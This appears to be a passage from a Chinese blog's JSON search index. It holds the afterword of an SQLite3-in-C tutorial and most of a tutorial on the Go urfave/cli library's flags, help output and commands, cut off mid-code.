href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%85%AD%E3%80%81%E5%90%8E%E8%AE%B0\" class=\"headerlink\" title=\"六、后记\"\u003e\u003c/a\u003e六、后记\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e(原文后记)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e写此教程,可不是一个累字能解释。\u003c/p\u003e\u003cp\u003e但是我还是觉得欣慰的,因为我很久以前就想写 sqlite 的教程,一来自己备忘,二而已造福大众,大家不用再走弯路。\u003c/p\u003e\u003cp\u003e本人第一次写教程,不足的地方请大家指出。\u003c/p\u003e\u003cp\u003e本文可随意转载、修改、引用。但无论是转载、修改、引用,都请附带我的名字:董淳光。以示对我劳动的肯定。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/"},{"title":"Go语言命令行库urfave-cli简介","time":"2022-11-22T11:44:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e很多用Go写的命令行程序都用了urfave/cli这个库,包括geth,有必要简单了解一下。\u003c/p\u003e\u003cp\u003e用C写过命令行程序的人应该都不陌生,我们需要根据argc/argv一个个地解析命令行参数,调用不同的函数,最后还要写一个usage()函数用于打印帮助信息。urfave/cli把这个过程做了一下封装,抽象出flag/command/subcommand这些模块,用户只需要提供一些模块的配置,参数的解析和关联在库内部完成,帮助信息也可以自动生成。\u003c/p\u003e\u003cp\u003e举个例子,我们想要实现下面这个命令行程序:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eNAME:   GoTest - hello world\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUSAGE:   GoTest [global options] \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e [\u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e options] [arguments...]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eVERSION:   1.2.3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCOMMANDS:     \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, h  Shows a list of commands or \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e one \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earithmetic:     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add, a  calc 1+1     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sub, s  calc 5-3   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edatabase:     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e db  database operations \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGLOBAL OPTIONS:   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--lang FILE, -l FILE    \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e from FILE (default: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e)   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--port value, -p value  listening port (default: 8000)   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--\u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, -h              Help!Help!   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--print-version, -v     \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e version\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col\u003e\u003cli\u003e基本结构\u003cbr/\u003e导入包以后,通过cli.NewApp()创建一个实例,然后调用Run()方法就实现了一个最基本的命令行程序了。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当然,为了让我们的程序干点事情,可以指定一下入口函数app.Action,具体写法如下:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003cspan class=\"string\"\u003e\u0026#34;fmt\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003cspan class=\"string\"\u003e\u0026#34;gopkg.in/urfave/cli.v1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e         \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp := cli.NewApp()    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerr := app.Run(os.Args)    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elog.Fatal(err)    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e公共配置\u003cbr/\u003e就是帮助里需要显示的一些基本信息:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e  app.Name = \u003cspan class=\"string\"\u003e\u0026#34;GoTest\u0026#34;\u003c/span\u003e  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  app.Usage = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  app.Version = \u003cspan class=\"string\"\u003e\u0026#34;1.2.3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"3\"\u003e\u003cli\u003eFlag配置\u003cbr/\u003e具体对应于帮助中的以下信息:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e--lang FILE, -l FILE    \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e from FILE (default: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--port value, -p value  listening port (default: 8000)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对应代码:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e language \u003cspan class=\"type\"\u003estring\u003c/span\u003e     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Flags = []cli.Flag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.IntFlag {            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;port, p\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"number\"\u003e8000\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;listening port\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.StringFlag {            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;lang, l\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;read from `FILE`\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDestination: \u0026amp;language,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,每一个flag都对应一个cli.Flag接口的实例。\u003c/p\u003e\u003cp\u003eName字段中逗号后面的字符表示flag的简写,也就是说”–port”和”-p”是等价的。\u003c/p\u003e\u003cp\u003eValue字段可以指定flag的默认值。\u003c/p\u003e\u003cp\u003eUsage字段是flag的描述信息。\u003c/p\u003e\u003cp\u003eDestination字段可以为该flag指定一个接收者,比如上面的language变量。解析完”–lang”这个flag后会自动存储到这个变量里,后面的代码就可以直接使用这个变量的值了。\u003c/p\u003e\u003cp\u003e另外,如果你想给用户增加一些属性值类型的提示,可以通过占位符(placeholder)来实现,比如上面的”–lang FILE”。占位符通过``符号来标识。\u003c/p\u003e\u003cp\u003e我们可以在app.Action中测试一下打印这些flag的值:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(c.String(\u003cspan class=\"string\"\u003e\u0026#34;lang\u0026#34;\u003c/span\u003e), c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e))        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(language)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另外,正常来说帮助信息里的flag是按照代码里的声明顺序排列的,如果你想让它们按照字典序排列的话,可以借助于sort:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;sort\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esort.Sort(cli.FlagsByName(app.Flags))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最后,help和version这两个flag有默认实现,也可以自己改:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecli.HelpFlag = cli.BoolFlag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;help, h\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;Help!Help!\u0026#34;\u003c/span\u003e,    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.VersionFlag = cli.BoolFlag {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;print-version, v\u0026#34;\u003c/span\u003e,        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;print version\u0026#34;\u003c/span\u003e,    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003eCommand配置\u003cbr/\u003e命令行程序除了有flag,还有command(比如git log, git commit等等)。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e另外每个command可能还有subcommand,也就必须要通过添加两个命令行参数才能完成相应的操作。比如我们的db命令包含2个子命令,如果输入GoTest db -h会显示下面的信息:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eNAME:   GoTest db - database operations \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUSAGE:   GoTest db \u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e [\u003cspan class=\"built_in\"\u003ecommand\u003c/span\u003e options] [arguments...] \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCOMMANDS:   insert  insert data     \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edelete  delete data \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eOPTIONS:   --\u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e, -h  Help!Help!\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e每个command都对应于一个cli.Command接口的实例,入口函数通过Action指定。如果你想像在帮助信息里实现分组显示,可以为每个command指定一个Category。具体代码如下:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Commands = []cli.Command {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;add\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 1+1\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan 